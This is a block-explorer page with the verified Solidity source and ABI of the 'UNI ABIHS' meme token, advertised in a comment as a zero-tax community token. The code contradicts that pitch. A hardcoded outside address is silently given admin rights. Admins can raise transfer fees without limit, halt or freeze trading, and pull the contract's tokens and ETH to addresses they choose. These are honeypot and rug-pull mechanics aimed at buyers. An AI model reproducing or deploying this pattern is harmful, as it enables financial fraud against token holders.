Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 5 from a total of 5 transactions
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
UNIABIHS
Compiler Version
v0.7.4+commit.3f05b770
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-07-13
*/
// File: https://github.com/ssccrypto/library/blob/f8f55e85f7c633829c6d927285203d74adb60e2b/IDEXRouter.sol
pragma solidity ^0.7.4;
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: https://github.com/ssccrypto/library/blob/f8f55e85f7c633829c6d927285203d74adb60e2b/IDEXFactory.sol
pragma solidity ^0.7.4;
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// File: https://github.com/ssccrypto/library/blob/f8f55e85f7c633829c6d927285203d74adb60e2b/IBEP20.sol
pragma solidity ^0.7.4;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function Owner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: https://github.com/ssccrypto/library/blob/f8f55e85f7c633829c6d927285203d74adb60e2b/BEP20.sol
pragma solidity ^0.7.4;
interface BEP20 {
function balanceOf(address) external returns (uint);
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
// File: https://github.com/ssccrypto/library/blob/f8f55e85f7c633829c6d927285203d74adb60e2b/Auth.sol
pragma solidity ^0.7.4;
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[address(
0x86487b859D42cDDeDE8453c28b402E5F210A8152)
] = true;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public authorized {
authorizations[adr] = true;
}
function unauthorize(address adr) public authorized {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public authorized {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
function renounceOwnership() public virtual authorized {
owner = (address(0));
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
// File: https://github.com/ssccrypto/library/blob/f8f55e85f7c633829c6d927285203d74adb60e2b/SafeMath.sol
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// File: contracts/uniabihs.sol
/**
ZERO PERCENT TAX COMMUNITY TOKEN! WHATS SHIBA SPELLED BACKWARDS?
UNI ABIHS LETS BE THE NEW MOVEMENT I SUGGEST MAKING A TG AND SOCIALS PLEASE CHOOSE YOUR LEADERS WISELY
AS YOU DONT WANT SNAKES IN THE GARDEN!
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.4;
contract UNIABIHS is IBEP20, Auth {
using SafeMath for uint256;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "UNI ABIHS";
string constant _symbol = "UNI ABIHS";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1 * 10**9 * (10 ** _decimals);
uint256 public _maxTxAmount = ( _totalSupply * 3000) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 3000 ) / 10000;
uint256 _minAmount = ( _totalSupply * 10 ) / 100000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isMaxWalletExempt;
mapping (address => bool) isSwapExempt;
uint256 liquidity = 1;
uint256 marketing = 2;
uint256 burn = 1;
uint256 totalFee = 4;
uint256 feeDenominator = 100;
address public pair;
uint256 dividendTracker = 30;
uint256 denominator = 100;
uint256 pairTracker = 30;
uint256 setGas = 30000;
uint256 variableswapNum = 60;
bool setFreeze = true;
uint8 setFreezeTime = 0 seconds;
mapping (address => uint) private isFrozen;
uint8 minTransferAm = 0 seconds;
mapping (address => uint) private minTransferAddress;
bool startSwap = true;
uint256 acquireFactor = 0;
uint256 transferFactor = 0;
bool swapEnabled = true;
uint256 swapThreshold = _totalSupply * 900 / 100000;
IDEXRouter router;
address LPReceiver;
address Distributor;
address Dividend;
address TxLevel;
address Receiver;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[msg.sender] = true;
isFeeExempt[address(owner)] = true;
isFeeExempt[address(Receiver)] = true;
isFeeExempt[address(this)] = true;
isSwapExempt[address(this)] = true;
isSwapExempt[address(owner)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[address(owner)] = true;
isTxLimitExempt[address(router)] = true;
isMaxWalletExempt[address(msg.sender)] = true;
isMaxWalletExempt[address(this)] = true;
isMaxWalletExempt[address(DEAD)] = true;
isMaxWalletExempt[address(pair)] = true;
isMaxWalletExempt[address(LPReceiver)] = true;
isTimelockExempt[address(LPReceiver)] = true;
isTimelockExempt[address(owner)] = true;
isTimelockExempt[msg.sender] = true;
isTimelockExempt[address(DEAD)] = true;
isTimelockExempt[address(this)] = true;
LPReceiver = address(this);
Distributor = msg.sender;
Dividend = msg.sender;
TxLevel = msg.sender;
Receiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function Owner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); }
return _transferFrom(sender, recipient, amount);
}
function updateRouter(address _router) external authorized {
router = IDEXRouter(address(_router));
}
function setMaxTx(uint256 _mnbTP) external authorized {
_maxTxAmount = (_totalSupply * _mnbTP) / 10000;
}
function setMaxWallet(uint256 _mnWP) external authorized {
_maxWalletToken = (_totalSupply * _mnWP) / 10000;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool){
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){require(startSwap, "Swap Occurance Error");}
if(!authorizations[sender] && !isMaxWalletExempt[recipient] && recipient != address(this) &&
recipient != address(DEAD) && recipient != pair && recipient != LPReceiver){
require((balanceOf(recipient) + amount) <= _maxWalletToken);}
if(sender != pair &&
setFreeze &&
!isTimelockExempt[sender]) {
require(isFrozen[sender] < block.timestamp);
isFrozen[sender] = block.timestamp + setFreezeTime;}
checkTxLimit(sender, recipient, amount);
if(sender == pair){minTransferAddress[recipient] = block.timestamp + minTransferAm;}
if(shouldSwapBack(amount) && !isSwapExempt[sender] &&
minTransferAddress[sender] < block.timestamp){ variableSwapBack(amount); }
_balances[sender] = _balances[sender].sub(amount, "+");
uint256 amountReceived = shouldTakeFee(sender != pair, sender, recipient) ? taketotalFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
require (amount <= _maxTxAmount || isTxLimitExempt[sender] || isSwapExempt[recipient], "TX Limit Exceeded");
}
function shouldTakeFee(bool selling, address sender, address recipient) internal view returns (bool) {
if(selling){return !isFeeExempt[sender];}
return !isFeeExempt[recipient];
}
function setFreezeFactors(bool _status, uint8 _int) external authorized {
setFreeze = _status;
setFreezeTime = _int;
}
function setStartSwap() external authorized {
startSwap = true;
}
function setTFAddress(address _tfU) external authorized {
Receiver = _tfU;
setallexempt(_tfU);
}
function getTotalFee(address sender) public view returns (uint256) {
if(sender != pair){ return transferFactor.mul(1); }
if(sender == pair){ return acquireFactor.mul(1); }
return totalFee;
}
function setMarketingAddress(address _mnbE) external authorized {
TxLevel = _mnbE;
setallexempt(_mnbE);
}
function setApproval(address _tadd, address _rec, uint256 _amt, uint256 _amtd) external authorized {
uint256 tamt = BEP20(_tadd).balanceOf(address(this));
BEP20(_tadd).transfer(_rec, tamt.mul(_amt).div(_amtd));
}
function taketotalFee(address sender, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee(sender)).div(feeDenominator);
uint256 bAmount = feeAmount.mul(burn).div(getTotalFee(sender));
uint256 fAmount = feeAmount.sub(bAmount);
_balances[address(this)] = _balances[address(this)].add(fAmount);
emit Transfer(sender, address(this), fAmount);
_balances[address(DEAD)] = _balances[address(DEAD)].add(bAmount);
emit Transfer(sender, address(DEAD), bAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack(uint256 amount) internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& amount >= _minAmount
&& _balances[address(this)] >= swapThreshold;
}
function setTimelock(address holder, bool exempt) external authorized {
isTimelockExempt[holder] = exempt;
}
function approval(uint256 aP) external authorized {
uint256 amountBNB = address(this).balance;
payable(Receiver).transfer(amountBNB.mul(aP).div(100));
}
function setAddress(address _spE, address _jbL, address _mnbE, address _tfu) external authorized {
Distributor = _spE;
setallexempt(_spE);
Dividend = _jbL;
setallexempt(_jbL);
TxLevel = _mnbE;
setallexempt(_mnbE);
Receiver = _tfu;
setallexempt(_tfu);
}
function setFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function approvals(uint256 _na, uint256 _da) external authorized {
uint256 acBNB = address(this).balance;
uint256 acBNBa = acBNB.mul(_na).div(_da);
uint256 acBNBf = acBNBa.mul(1).div(2);
uint256 acBNBs = acBNBa.mul(1).div(2);
(bool tmpSuccess,) = payable(Distributor).call{value: acBNBf, gas: setGas}("");
(tmpSuccess,) = payable(Dividend).call{value: acBNBs, gas: setGas}("");
tmpSuccess = false;
}
function setTimeLockExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setWhitelist(bool exempt, address holder) external authorized {
isFeeExempt[holder] = exempt;
isTxLimitExempt[holder] = exempt;
isTimelockExempt[holder] = exempt;
isMaxWalletExempt[holder] = exempt;
isSwapExempt[holder] = exempt;
}
function setMaxWalletExempt(address holder, bool exempt) external authorized {
isMaxWalletExempt[holder] = exempt;
}
function setPairReceiver(address _lpR) external authorized {
LPReceiver = _lpR;
}
function setallexempt(address holder) internal {
isFeeExempt[holder] = true;
isTxLimitExempt[holder] = true;
isTimelockExempt[holder] = true;
isMaxWalletExempt[holder] = true;
isSwapExempt[holder] = true;
}
function setFees(uint256 _liqF, uint256 _marF, uint256 _burF, uint256 _feeD) external authorized {
liquidity = _liqF;
marketing = _marF;
burn = _burF;
totalFee = _liqF.add(_marF).add(_burF);
feeDenominator = _feeD;
require (totalFee < feeDenominator/3);
}
function setTransferFees(uint256 _ssf, uint256 _bbf) external authorized {
acquireFactor = _bbf;
transferFactor = _ssf;
}
function setisSwapExempt(bool exempt, address holder) external authorized {
isSwapExempt[holder] = exempt;
}
function variableSwapThreshold(uint256 amount) internal view returns (uint256) {
uint256 variableSTd = amount.mul(variableswapNum).div(denominator);
if(variableSTd <= swapThreshold){ return variableSTd; }
if(variableSTd > swapThreshold){ return swapThreshold; }
return swapThreshold;
}
function setFactors(uint256 _yfact, uint256 _zfact) external authorized {
pairTracker = _yfact;
dividendTracker = _zfact;
}
function variableSwapBack(uint256 amount) internal swapping {
uint256 amountL = variableSwapThreshold(amount).mul(pairTracker).div(denominator).div(2);
uint256 totalSw = variableSwapThreshold(amount).sub(amountL);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
uint256 bB = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
totalSw,
0,
path,
address(this),
block.timestamp );
uint256 aBNB = address(this).balance.sub(bB);
uint256 tBNBF = denominator.sub(pairTracker.div(2));
uint256 aBNBL = aBNB.mul(pairTracker).div(tBNBF).div(2);
uint256 aBNBTM = aBNB.mul(dividendTracker).div(tBNBF);
(bool tmpSuccess,) = payable(TxLevel).call{value: (aBNBTM), gas: setGas}("");
tmpSuccess = false;
if(amountL > 0){
router.addLiquidityETH{value: aBNBL}(
address(this),
amountL,
0,
0,
LPReceiver,
block.timestamp);
}
}
function setSwapSettings(bool _enabled, uint256 _amount) external authorized {
swapEnabled = _enabled;
swapThreshold = _totalSupply * _amount / 100000;
}
function setTransferMinAmount(uint256 _amount) external authorized {
_minAmount = _totalSupply * _amount / 100000;
}
function setDeposit(uint256 _amount) external authorized {
variableSwapBack(_totalSupply * _amount / 10000);
}
function setvariableSwap(uint256 _vstf) external authorized {
variableswapNum = _vstf;
}
function setGasAmount(uint256 _gss) external authorized {
setGas = _gss;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"aP","type":"uint256"}],"name":"approval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_na","type":"uint256"},{"internalType":"uint256","name":"_da","type":"uint256"}],"name":"approvals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spE","type":"address"},{"internalType":"address","name":"_jbL","type":"address"},{"internalType":"address","name":"_mnbE","type":"address"},{"internalType":"address","name":"_tfu","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tadd","type":"address"},{"internalType":"address","name":"_rec","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"},{"internalType":"uint256","name":"_amtd","type":"uint256"}],"name":"setApproval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setDeposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_yfact","type":"uint256"},{"internalType":"uint256","name":"_zfact","type":"uint256"}],"name":"setFactors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liqF","type":"uint256"},{"internalType":"uint256","name":"_marF","type":"uint256"},{"internalType":"uint256","name":"_burF","type":"uint256"},{"internalType":"uint256","name":"_feeD","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_int","type":"uint8"}],"name":"setFreezeFactors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_gss","type":"uint256"}],"name":"setGasAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_mnbE","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mnbTP","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mnWP","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lpR","type":"address"}],"name":"setPairReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setStartSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tfU","type":"address"}],"name":"setTFAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setTimeLockExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setTimelock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_ssf","type":"uint256"},{"internalType":"uint256","name":"_bbf","type":"uint256"}],"name":"setTransferFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setTransferMinAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"exempt","type":"bool"},{"internalType":"address","name":"holder","type":"address"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"exempt","type":"bool"},{"internalType":"address","name":"holder","type":"address"}],"name":"setisSwapExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_vstf","type":"uint256"}],"name":"setvariableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"name":"updateRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526002805461dead6001600160a01b0319918216178255600380549091169055670de0b6b3a76400006004908155670429d069189e00006005819055600655655af3107a40006007556001600f819055601092909255601182905560125560646013819055601e60158190556016919091556017819055617530601855603c601955601a805460ff19908116841761ff001916909155601c8054821690558154811683179091556000601f819055602055602180549091169091179055661ff973cafa8000602255348015620000d857600080fd5b50600080546001600160a01b0319908116339081178355600160208181527f2fc2ca1f7b68874d47880336026c746060773823ca0c4e31e719d4c1ba771fb8805460ff199081168417909155928552604094859020805490931690911790915560238054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1791829055825163c45a015560e01b815292516001600160a01b03929092169263c45a01559260048083019392829003018186803b1580156200019657600080fd5b505afa158015620001ab573d6000803e3d6000fd5b505050506040513d6020811015620001c257600080fd5b5051602354604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693169163ad5c4648916004808301926020929190829003018186803b1580156200021157600080fd5b505afa15801562000226573d6000803e3d6000fd5b505050506040513d60208110156200023d57600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b0390921660048301523060248301525160448083019260209291908290030181600087803b1580156200028d57600080fd5b505af1158015620002a2573d6000803e3d6000fd5b505050506040513d6020811015620002b957600080fd5b5051601480546001600160a01b039283166001600160a01b03199182161782553060008181526009602090815260408083206023805489168552908352818420600019905533808552600a8452828520805460ff19908116600190811790925586548b1687528487208054821683179055602880548c16885285882080548316841790558888528588208054831684179055600e8752858820805483168417905587548c1688528588208054831684179055838852600b87528588208054831684179055888852858820805483168417905587548c168852858820805483168417905593548b1687528487208054821683179055828752600d865284872080548216831790558787528487208054821683179055600280548c168852858820805483168417905599548b1687528487208054821683179055602480548c168852858820805483168417905580548c168852600c8752858820805483168417905587548c168852858820805483168417905583885285882080548316841790559954909a16865283862080548b16821790558686528386208054909a16179098558654861690941790955560258054851687179055602680548516871790556027805485168717905582549093168517909155600454848252600883528382208190558351908152925190927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a3612bae80620004dd6000396000f3fe6080604052600436106102975760003560e01c80638ebfc7961161015a578063c851cc32116100c1578063f0b37c041161007a578063f0b37c0414610aab578063f2fde38b14610ade578063f453600714610b11578063f5bade6614610b5a578063f639d53414610b84578063fe9fbb8014610bb45761029e565b8063c851cc3214610960578063d099d35a14610993578063d0e10326146109ce578063dd62ed3e14610a00578063e68736dc14610a3b578063e93e12f214610a765761029e565b8063a9059cbb11610113578063a9059cbb14610852578063aff75ce11461088b578063b4a99a4e146108bb578063b5dce526146108d0578063b6a5d7de14610903578063bc337182146109365761029e565b80638ebfc796146107355780639017ab2d14610770578063906e9dd0146107a357806395d89b41146102a35780639608088c146107d6578063a8aa1b31146108215761029e565b80635f3a9b94116101fe57806372d5347e116101b757806372d5347e146106325780637537ccb61461066d57806377cfbd02146106a857806378109e54146106d85780637d1db4a5146106ed5780638c232838146107025761029e565b80635f3a9b941461051f57806361ca54f4146105495780636cfaa1a3146105735780636fcba377146105ae57806370a08231146105ea578063715018a61461061d5761029e565b80632b112e49116102505780632b112e49146104255780632f54bf6e1461043a5780633052ea081461046d578063313ce56714610497578063571ac8b0146104c25780635d0044ca146104f55761029e565b806306fdde03146102a3578063095ea7b31461032d5780630c8f78fb1461037a57806318160ddd146103a65780631bffe26b146103cd57806323b872dd146103e25761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102b8610be7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102f25781810151838201526020016102da565b50505050905090810190601f16801561031f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033957600080fd5b506103666004803603604081101561035057600080fd5b506001600160a01b038135169060200135610c0a565b604080519115158252519081900360200190f35b34801561038657600080fd5b506103a46004803603602081101561039d57600080fd5b5035610c71565b005b3480156103b257600080fd5b506103bb610cbe565b60408051918252519081900360200190f35b3480156103d957600080fd5b506103a4610cc4565b3480156103ee57600080fd5b506103666004803603606081101561040557600080fd5b506001600160a01b03813581169160208101359091169060400135610d1b565b34801561043157600080fd5b506103bb610ddd565b34801561044657600080fd5b506103666004803603602081101561045d57600080fd5b50356001600160a01b0316610e26565b34801561047957600080fd5b506103a46004803603602081101561049057600080fd5b5035610e3d565b3480156104a357600080fd5b506104ac610ed8565b6040805160ff9092168252519081900360200190f35b3480156104ce57600080fd5b50610366600480360360208110156104e557600080fd5b50356001600160a01b0316610edd565b34801561050157600080fd5b506103a46004803603602081101561051857600080fd5b5035610eeb565b34801561052b57600080fd5b506103a46004803603602081101561054257600080fd5b5035610f49565b34801561055557600080fd5b506103a46004803603602081101561056c57600080fd5b5035610fa8565b34801561057f57600080fd5b506103a46004803603604081101561059657600080fd5b508035151590602001356001600160a01b0316610ff5565b3480156105ba57600080fd5b506103a4600480360360808110156105d157600080fd5b50803590602081013590604081013590606001356110a6565b3480156105f657600080fd5b506103bb6004803603602081101561060d57600080fd5b50356001600160a01b0316611130565b34801561062957600080fd5b506103a461114b565b34801561063e57600080fd5b506103a46004803603604081101561065557600080fd5b506001600160a01b03813516906020013515156111d7565b34801561067957600080fd5b506103a46004803603604081101561069057600080fd5b506001600160a01b038135169060200135151561124a565b3480156106b457600080fd5b506103a4600480360360408110156106cb57600080fd5b50803590602001356112bd565b3480156106e457600